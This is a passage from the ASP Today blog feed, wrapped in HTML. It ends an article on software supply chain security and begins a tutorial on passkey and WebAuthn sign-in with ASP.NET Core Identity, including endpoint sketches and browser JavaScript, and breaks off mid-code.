data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/22c4f997-6e31-4181-8c35-e55c53d364c2_707x697.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:697,&quot;width&quot;:707,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:65389,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://www.asptoday.com/i/219076922?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F22c4f997-6e31-4181-8c35-e55c53d364c2_707x697.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!2ZiS!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F22c4f997-6e31-4181-8c35-e55c53d364c2_707x697.png 424w, https://substackcdn.com/image/fetch/$s_!2ZiS!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F22c4f997-6e31-4181-8c35-e55c53d364c2_707x697.png 848w, https://substackcdn.com/image/fetch/$s_!2ZiS!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F22c4f997-6e31-4181-8c35-e55c53d364c2_707x697.png 1272w, https://substackcdn.com/image/fetch/$s_!2ZiS!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F22c4f997-6e31-4181-8c35-e55c53d364c2_707x697.png 1456w" sizes="auto, 100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button class="pencraft pc-reset pencraft icon-container restack-image buttonBase-tqxFUX" tabindex="0" type="button"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg" class="icon-noB79L"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button class="pencraft pc-reset pencraft icon-container view-image buttonBase-tqxFUX" tabindex="0" type="button"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2 icon-noB79L"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>The result is not an application guaranteed to be free of vulnerabilities.</p><p>No build pipeline can provide that guarantee.</p><p>Instead, the organization gains something more practical: <strong>a repeatable, auditable process for understanding, verifying, and managing the software it releases.</strong></p><p>That is the foundation of effective software supply chain security.</p><h2>Coming Next</h2><p>In our next article, we&#8217;ll explore <strong>Content Security Policy in ASP.NET Core: Protecting Web Applications Against Browser-Based Attacks</strong>.</p><p>Even applications with strong authentication and carefully managed dependencies can be vulnerable to attacks executed inside the browser.</p><p>Cross-site scripting, malicious third-party scripts, unsafe inline JavaScript, and improperly configured content sources can expose users to serious security risks.</p><p>We&#8217;ll explore how Content Security Policy (CSP) helps reduce these risks, how to configure security headers in ASP.NET Core, and how to introduce strict policies without breaking legitimate application functionality.</p><p>We&#8217;ll also build practical examples using nonces, hashes, report-only policies, and production monitoring.</p><h2>Closing Thoughts</h2><p>Software supply chain security is no longer an optional concern reserved for large technology companies.</p><p>Every modern ASP.NET Core application depends on software produced by other developers, organizations, and infrastructure providers.</p><p>NuGet packages simplify development.</p><p>Container images simplify deployment.</p><p>CI/CD pipelines accelerate delivery.</p><p>But each introduces dependencies and trust relationships that developers must understand.</p><p>A secure application requires more than reviewing its own source code.</p><p>It requires knowing which components enter the build, where they come from, how they are verified, and which artifacts eventually reach production.</p><p>NuGet auditing helps identify known dependency vulnerabilities.</p><p>Central Package Management and lock files improve dependency consistency and reproducibility.</p><p>Package signing and provenance controls help establish artifact integrity and origin.</p><p>SBOMs make software components visible and support faster vulnerability response.</p><p>Container scanning extends that visibility into the deployment environment.</p><p>And secure CI/CD pipelines connect these practices into a controlled release process.</p><p><strong>The most important principle is simple: Don&#8217;t just secure the code you write. Secure the software you depend on and the process that delivers it.</strong></p><h2>Subscribe Now</h2><p>Modern ASP.NET Core development involves much more than writing controllers, building APIs, and deploying applications.</p><p>It also requires understanding the security, reliability, and operational practices that keep production systems trustworthy.</p><p>Subscribe to <em><a href="https://www.asptoday.com/">ASP Today</a></em> for practical .NET tutorials, real-world architecture examples, and production-focused security guidance.</p><p>Join our Substack Chat to discuss NuGet dependency management, SBOMs, secure build pipelines, container security, and the challenges of protecting modern software supply chains.</p><p><strong>Subscribe now and follow the series as we continue building secure, reliable, and production-ready ASP.NET Core applications. </strong></p><p class="button-wrapper" data-attrs="{&quot;url&quot;:&quot;https://www.asptoday.com/subscribe?&quot;,&quot;text&quot;:&quot;Subscribe now&quot;,&quot;action&quot;:null,&quot;class&quot;:null}" data-component-name="ButtonCreateButton"><a class="button primary" href="https://www.asptoday.com/subscribe?"><span>Subscribe now</span></a></p><p></p>]]></content:encoded></item><item><title><![CDATA[Passwordless Authentication in ASP.NET Core: Passkeys, WebAuthn, and Modern Sign-In]]></title><description><![CDATA[Build secure, phishing-resistant sign-ins with passkeys and WebAuthn. #ASPToday #aspnetcore #dotnet #passkeys #WebAuthn]]></description><link>https://www.asptoday.com/p/passwordless-authentication-in-aspnet</link><guid isPermaLink="false">https://www.asptoday.com/p/passwordless-authentication-in-aspnet</guid><dc:creator><![CDATA[Jenny Muralidharan]]></dc:creator><pubDate>Tue, 10 Nov 2026 15:02:33 GMT</pubDate><enclosure url="https://substackcdn.com/image/fetch/$s_!lkYR!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc8852172-e486-4d5c-a291-407c3b822555_1671x941.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Passwords have protected web applications for decades, but they remain one of the weakest parts of modern authentication. Users reuse passwords across websites, forget complex credentials, and sometimes enter their login details into convincing phishing pages. </p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!lkYR!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc8852172-e486-4d5c-a291-407c3b822555_1671x941.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!lkYR!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc8852172-e486-4d5c-a291-407c3b822555_1671x941.png 424w, https://substackcdn.com/image/fetch/$s_!lkYR!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc8852172-e486-4d5c-a291-407c3b822555_1671x941.png 848w, https://substackcdn.com/image/fetch/$s_!lkYR!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc8852172-e486-4d5c-a291-407c3b822555_1671x941.png 1272w, https://substackcdn.com/image/fetch/$s_!lkYR!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc8852172-e486-4d5c-a291-407c3b822555_1671x941.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!lkYR!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc8852172-e486-4d5c-a291-407c3b822555_1671x941.png" width="1456" height="820" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/c8852172-e486-4d5c-a291-407c3b822555_1671x941.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:820,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:1829832,&quot;alt&quot;:&quot;Laptop displaying ASP.NET Core passkey sign-in beside a phone using Face ID for secure authentication. &quot;,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:false,&quot;topImage&quot;:true,&quot;internalRedirect&quot;:&quot;https://www.asptoday.com/i/224020647?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc8852172-e486-4d5c-a291-407c3b822555_1671x941.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="Laptop displaying ASP.NET Core passkey sign-in beside a phone using Face ID for secure authentication. " title="Laptop displaying ASP.NET Core passkey sign-in beside a phone using Face ID for secure authentication. " srcset="https://substackcdn.com/image/fetch/$s_!lkYR!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc8852172-e486-4d5c-a291-407c3b822555_1671x941.png 424w, https://substackcdn.com/image/fetch/$s_!lkYR!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc8852172-e486-4d5c-a291-407c3b822555_1671x941.png 848w, https://substackcdn.com/image/fetch/$s_!lkYR!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc8852172-e486-4d5c-a291-407c3b822555_1671x941.png 1272w, https://substackcdn.com/image/fetch/$s_!lkYR!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc8852172-e486-4d5c-a291-407c3b822555_1671x941.png 1456w" sizes="100vw" fetchpriority="high"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button class="pencraft pc-reset pencraft icon-container restack-image buttonBase-tqxFUX" tabindex="0" type="button"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg" class="icon-noB79L"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button class="pencraft pc-reset pencraft icon-container view-image buttonBase-tqxFUX" tabindex="0" type="button"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2 icon-noB79L"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>Even well-designed <a href="https://www.asptoday.com/p/introduction-to-aspnet-core-whats-new-and-why-it-matters">ASP.NET Core</a> applications must manage password resets, account lockouts, credential storage, and the risks associated with stolen passwords. </p><p>Passkeys offer a different approach. </p><p>Instead of asking users to remember a secret, applications can authenticate them using cryptographic credentials protected by their devices. With WebAuthn and modern ASP.NET Core Identity capabilities, developers can build sign-in experiences that are easier to use and significantly more resistant to phishing. In this guide, we&#8217;ll explore how passkeys work, implement registration and authentication workflows, examine the ASP.NET Core integration points, and design secure recovery, device management, and production deployment strategies.</p><h2>Why Password-Based Authentication Needs to Evolve</h2><p>Imagine a healthcare appointment platform used by thousands of patients.</p><p>A patient wants to check an upcoming appointment.</p><p>They open the website, enter their email address, and attempt to sign in.</p><p>Unfortunately, they cannot remember their password.</p><p>They try several combinations.</p><p>After a few failed attempts, they request a password reset.</p><p>An email arrives.</p><p>They open the link, create a new password, and finally access their account.</p><p>The process may take several minutes.</p><p>Now imagine the same patient receiving a convincing phishing email that appears to come from the appointment platform.</p><p>The email links to a fake login page.</p><p>If the patient enters their password, the attacker may capture it and attempt to access the real account.</p><p>Multi-factor authentication can reduce this risk, but some traditional authentication methods remain vulnerable to phishing and real-time interception.</p><p>Passkeys change the underlying authentication model.</p><p>Instead of relying on a reusable password, the patient can sign in using a credential protected by their phone or computer.</p><p>The device may ask for a fingerprint, face recognition, PIN, or another local verification method.</p><p>The application never needs to receive the user&#8217;s biometric data.</p><p>And a passkey created for the legitimate website cannot simply be reused on an unrelated phishing domain.</p><p>This is the foundation of phishing-resistant authentication.</p><h2>What Is a Passkey?</h2><p>A passkey is a credential based on public-key cryptography and commonly used through the WebAuthn standard.</p><p>When a user registers a passkey, an authenticator creates a cryptographic key pair.</p><p>The pair contains a private key and a public key.</p><p>The private key remains protected by the authenticator or credential provider.</p><p>The public key is registered with the application.</p><p>During sign-in, the application sends a challenge.</p><p>The authenticator uses the private key to sign information associated with that challenge.</p><p>The server verifies the signature using the stored public key.</p><p>The private key is never sent to the server.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!Epc9!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe5f03285-ca6f-4397-80a2-12405442e696_631x460.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!Epc9!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe5f03285-ca6f-4397-80a2-12405442e696_631x460.png 424w, https://substackcdn.com/image/fetch/$s_!Epc9!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe5f03285-ca6f-4397-80a2-12405442e696_631x460.png 848w, https://substackcdn.com/image/fetch/$s_!Epc9!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe5f03285-ca6f-4397-80a2-12405442e696_631x460.png 1272w, https://substackcdn.com/image/fetch/$s_!Epc9!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe5f03285-ca6f-4397-80a2-12405442e696_631x460.png 1456w" sizes="auto, 100vw"><img src="https://substackcdn.com/image/fetch/$s_!Epc9!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe5f03285-ca6f-4397-80a2-12405442e696_631x460.png" width="631" height="460" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/e5f03285-ca6f-4397-80a2-12405442e696_631x460.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:460,&quot;width&quot;:631,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:34679,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://www.asptoday.com/i/224020647?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe5f03285-ca6f-4397-80a2-12405442e696_631x460.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!Epc9!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe5f03285-ca6f-4397-80a2-12405442e696_631x460.png 424w, https://substackcdn.com/image/fetch/$s_!Epc9!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe5f03285-ca6f-4397-80a2-12405442e696_631x460.png 848w, https://substackcdn.com/image/fetch/$s_!Epc9!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe5f03285-ca6f-4397-80a2-12405442e696_631x460.png 1272w, https://substackcdn.com/image/fetch/$s_!Epc9!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe5f03285-ca6f-4397-80a2-12405442e696_631x460.png 1456w" sizes="auto, 100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button class="pencraft pc-reset pencraft icon-container restack-image buttonBase-tqxFUX" tabindex="0" type="button"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg" class="icon-noB79L"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button class="pencraft pc-reset pencraft icon-container view-image buttonBase-tqxFUX" tabindex="0" type="button"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2 icon-noB79L"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p><em>The device proves possession of a private key without revealing it to the application.</em></p><p>This architecture eliminates the need for the server to store a password-equivalent secret for passkey authentication.</p><p>It also changes what an attacker can gain from a compromised authentication database.</p><p>A stolen public key cannot ordinarily be used to impersonate the user because it cannot generate valid signatures.</p><p>However, passkeys don&#8217;t eliminate every security risk.</p><p>Session theft, compromised application logic, malicious account recovery, and insecure device environments still require protection.</p><h2>Understanding WebAuthn, FIDO2, and Passkeys</h2><p>These terms are closely related, but they are not interchangeable.</p><p>WebAuthn is the browser-facing web standard that allows applications to create and use public-key credentials.</p><p>FIDO2 refers to the broader authentication standards ecosystem, including WebAuthn and the Client to Authenticator Protocol (CTAP).</p><p>Passkeys are user-friendly credentials built on this technology, commonly designed to support passwordless authentication.</p><p>WebAuthn defines how a web application requests credential creation and authentication.</p><p>The browser mediates the interaction.</p><p>An authenticator performs the cryptographic operation.</p><p>That authenticator might be integrated into a phone, laptop, or security key.</p><p>For example, a user may sign in using Windows Hello, a phone&#8217;s biometric unlock mechanism, or a compatible hardware security key.</p><p>The application doesn&#8217;t need to implement the fingerprint reader or facial recognition system.</p><p>It asks the browser to perform a WebAuthn operation.</p><p>The platform handles the appropriate authenticator interaction.</p><h2>How Passkeys Resist Phishing</h2><p>Traditional passwords are reusable secrets.</p><p>If a user enters a password on a fake website, an attacker can potentially use that password on the real website.</p><p>WebAuthn credentials are bound to a relying party identity.</p><p>The browser and authenticator enforce rules about which websites can use a credential.</p><p>Suppose the legitimate application is hosted at:</p><div class="highlighted_code_block" data-attrs="{&quot;language&quot;:&quot;plaintext&quot;,&quot;nodeId&quot;:&quot;4d0b0bd3-7034-421a-9ba4-692ae94fa178&quot;}" data-component-name="HighlightedCodeBlockToDOM"><pre class="shiki"><code class="language-plaintext">https://appointments.example.com</code></pre></div><p>An attacker creates a phishing website at:</p><div class="highlighted_code_block" data-attrs="{&quot;language&quot;:&quot;plaintext&quot;,&quot;nodeId&quot;:&quot;b151018e-8509-487b-b632-589a2b5bed63&quot;}" data-component-name="HighlightedCodeBlockToDOM"><pre class="shiki"><code class="language-plaintext">https://appointments-example-login.com</code></pre></div><p>The phishing site cannot simply request a passkey registered for the legitimate relying party.</p><p>The domains don&#8217;t satisfy the required relying party relationship.</p><p>The browser also provides origin information that the server must validate.</p><p>This is fundamentally different from a password that a user can type into any website.</p><p>But phishing resistance depends on correct implementation.</p><p>A server that fails to validate the challenge, origin, relying party ID, or authentication response can undermine the protocol&#8217;s protections.</p><h2>The Difference Between Synced and Device-Bound Passkeys</h2><p>Not all passkeys have the same portability characteristics.</p><p>Some passkeys are synchronized through a credential provider.</p><p>A user may create a passkey on one device and later use it on another compatible device through their provider&#8217;s synchronization ecosystem.</p><p>Other credentials remain bound to a particular authenticator.</p><p>Hardware security keys are a common example.</p><p>Both approaches use public-key authentication, but their recovery and lifecycle properties differ.</p><p>Synced passkeys can improve usability because losing one device doesn&#8217;t necessarily mean losing access to the credential.</p><p>Device-bound credentials may be preferable for organizations with strict requirements around authenticator possession or hardware-backed credential control.</p><p>Applications should not assume that every passkey is synchronized or that every authenticator provides the same security properties.</p><p>Those differences matter when designing enterprise authentication policies.</p><h2>Understanding the WebAuthn Registration Flow</h2><p>Passkey registration begins when an authenticated user chooses to add a passkey.</p><p>The application generates registration options.</p><p>Those options include a cryptographically random challenge, relying party information, user information, and supported credential parameters.</p><p>The browser receives the options and calls the WebAuthn API.</p><p>The authenticator creates a credential.</p><p>The browser returns an attestation response.</p><p>The server validates the response and stores the credential&#8217;s public-key information.</p><p>A simplified registration sequence looks like this:</p><pre><code><code>User selects "Add passkey"
          |
          v
ASP.NET Core creates registration options
          |
          v
Browser calls navigator.credentials.create()
          |
          v
Authenticator creates credential
          |
          v
Browser sends credential response
          |
          v
ASP.NET Core validates registration
          |
          v
Public key and credential ID stored</code></code></pre><p>The server must associate the registration challenge with the correct user and registration attempt.</p><p>It must also ensure that the challenge cannot be reused indefinitely.</p><p>The browser&#8217;s response is not trustworthy merely because it came through the WebAuthn API.</p><p>The server performs the authoritative validation.</p><h2>Understanding the Authentication Flow</h2><p>Sign-in follows a related process.</p><p>The user opens the login page.</p><p>The application creates authentication options containing a fresh challenge.</p><p>The browser calls <code>navigator.credentials.get()</code>.</p><p>The authenticator locates an appropriate credential and produces a signed assertion.</p><p>The browser sends the assertion to the server.</p><p>The server verifies it using the stored credential.</p><p>If validation succeeds, the application establishes an authenticated session.</p><pre><code><code>User selects "Sign in with passkey"
          |
          v
Server creates authentication challenge
          |
          v
Browser requests credential assertion
          |
          v
Authenticator signs challenge
          |
          v
Server verifies signature and metadata
          |
          v
Application creates authenticated session</code></code></pre><p>The important detail is that the passkey authenticates the user.</p><p>The application still needs to create and manage its own session.</p><p>For a browser-based ASP.NET Core application, that commonly means issuing a secure authentication cookie.</p><p>The passkey doesn&#8217;t replace session management, authorization, or application security controls.</p><h2>Setting Up an ASP.NET Core Application</h2><p>Let&#8217;s build a practical foundation using ASP.NET Core Identity.</p><p>For this walkthrough, we&#8217;ll use ASP.NET Core Identity on .NET 10, which introduces integrated passkey support.</p><p>Earlier ASP.NET Core versions generally require a separate WebAuthn implementation or library.</p><p>Create a web application with individual authentication:</p><pre><code><code>dotnet new webapp \
    -au Individual \
    -n PasskeyDemo

cd PasskeyDemo</code></code></pre><p>The template provides an Identity-based authentication foundation.</p><p>The exact generated UI and project structure depend on the installed SDK and template version.</p><p>Check the target framework:</p><pre><code><code>&lt;TargetFramework&gt;net10.0&lt;/TargetFramework&gt;</code></code></pre><p>For the examples in this article, use a .NET 10 SDK and compatible ASP.NET Core Identity packages.</p><p>The application also needs a database provider and migrations configured for Identity&#8217;s credential storage.</p><p>The precise setup depends on whether the project uses SQLite, SQL Server, or another supported provider.</p><h2>Why ASP.NET Core Identity Matters</h2><p>In our earlier guide on <em><a href="https://www.asptoday.com/p/understanding-aspnet-core-identity">ASP.NET Core Identity and Authentication</a></em>, we explored how Identity manages user accounts, authentication workflows, and application security. Passkeys extend this foundation by replacing reusable passwords with cryptographic credentials while retaining Identity's account and session management capabilities.</p><p>ASP.NET Core Identity manages more than password verification.</p><p>It provides infrastructure for users, authentication cookies, account management, security tokens, and related workflows.</p><p>With passkey support, Identity can participate in registering and validating passkey credentials.</p><p>This avoids building the entire WebAuthn validation pipeline from scratch.</p><p>That&#8217;s important because WebAuthn verification involves more than checking a cryptographic signature.</p><p>The application must validate challenge freshness, origin, relying party identity, authenticator data, credential identifiers, user verification requirements, and other protocol details.</p><p>Using a maintained framework implementation reduces the risk of mistakes.</p><p>But developers must still configure Identity correctly and design the surrounding account lifecycle.</p><h2>Understanding the Identity Passkey APIs</h2><p>In .NET 10, ASP.NET Core Identity provides passkey-related functionality through <code>SignInManager&lt;TUser&gt;</code> and <code>UserManager&lt;TUser&gt;</code>.</p><p>The framework supports generating passkey creation and request options, validating passkey responses, and managing stored passkey credentials.</p><p>A typical application needs endpoints for four operations.</p><p>First, request passkey registration options.</p><p>Second, complete registration.</p><p>Third, request authentication options.</p><p>Fourth, complete authentication.</p><p>The registration endpoints should normally require an authenticated user.</p><p>Authentication endpoints are accessible before sign-in.</p><p>This distinction matters because adding a passkey changes the credentials associated with an account.</p><p>It should be treated as a security-sensitive account management operation.</p><h2>Designing the Passkey API Contract</h2><p>Let&#8217;s define the endpoints before implementing them.</p><pre><code><code>POST /api/passkeys/register/options
POST /api/passkeys/register/complete

POST /api/passkeys/authenticate/options
POST /api/passkeys/authenticate/complete</code></code></pre><p>The first registration endpoint generates WebAuthn creation options.</p><p>The browser uses those options to create a credential.</p><p>The second endpoint validates and stores the resulting credential.</p><p>Authentication follows the same two-step structure.</p><p>This separation reflects how WebAuthn works.</p><p>The server cannot generate a passkey itself.</p><p>The authenticator must participate in credential creation.</p><p>Similarly, the server cannot complete sign-in until it receives and validates the authenticator&#8217;s signed response.</p><h2>Generating Registration Options</h2><p>The registration flow starts on the server.</p><p>ASP.NET Core Identity provides a framework-managed mechanism for generating passkey creation options.</p><p>Conceptually, the endpoint needs to:</p><ol><li><p>Verify the current user.</p></li><li><p>Generate passkey creation options.</p></li><li><p>Bind the challenge to the registration attempt.</p></li><li><p>Return the options to the browser.</p></li></ol><p>A simplified endpoint structure looks like this:</p><pre><code><code>app.MapPost(
    "/api/passkeys/register/options",
    async (
        HttpContext context,
        UserManager&lt;ApplicationUser&gt; users,
        SignInManager&lt;ApplicationUser&gt; signInManager) =&gt;
    {
        var user = await users.GetUserAsync(
            context.User);

        if (user is null)
        {
            return Results.Unauthorized();
        }

        // Generate passkey creation options using
        // the .NET 10 Identity passkey APIs.
        //
        // Return the framework-generated JSON
        // to the browser.

        return Results.Ok();
    })
    .RequireAuthorization();</code></code></pre><p>This is a structural example, not a complete registration endpoint.</p><p>The exact framework API calls should be taken from the Identity version used by the application.</p><p>For a production implementation, use the official .NET 10 Identity passkey flow rather than manually constructing registration options without the required validation state.</p><h2>Calling WebAuthn From the Browser</h2><p>The browser receives the registration options and calls:</p><pre><code><code>const credential =
    await navigator.credentials.create({
        publicKey: creationOptions
    });</code></code></pre><p>The <code>creationOptions</code> object must use the types expected by WebAuthn.</p><p>A common challenge is that JSON transports binary values as strings.</p><p>WebAuthn expects fields such as <code>challenge</code> and <code>user.id</code> to contain binary data.</p><p>Modern browsers provide helpers for parsing serialized WebAuthn options.</p><p>For example:</p><pre><code><code>const options =
    PublicKeyCredential.parseCreationOptionsFromJSON(
        optionsJson);

const credential =
    await navigator.credentials.create({
        publicKey: options
    });</code></code></pre><p>The returned credential must then be serialized and sent to the server.</p><p>Modern browsers also provide <code>toJSON()</code> support for public-key credential responses.</p><pre><code><code>const response = await fetch(
    "/api/passkeys/register/complete",
    {
        method: "POST",
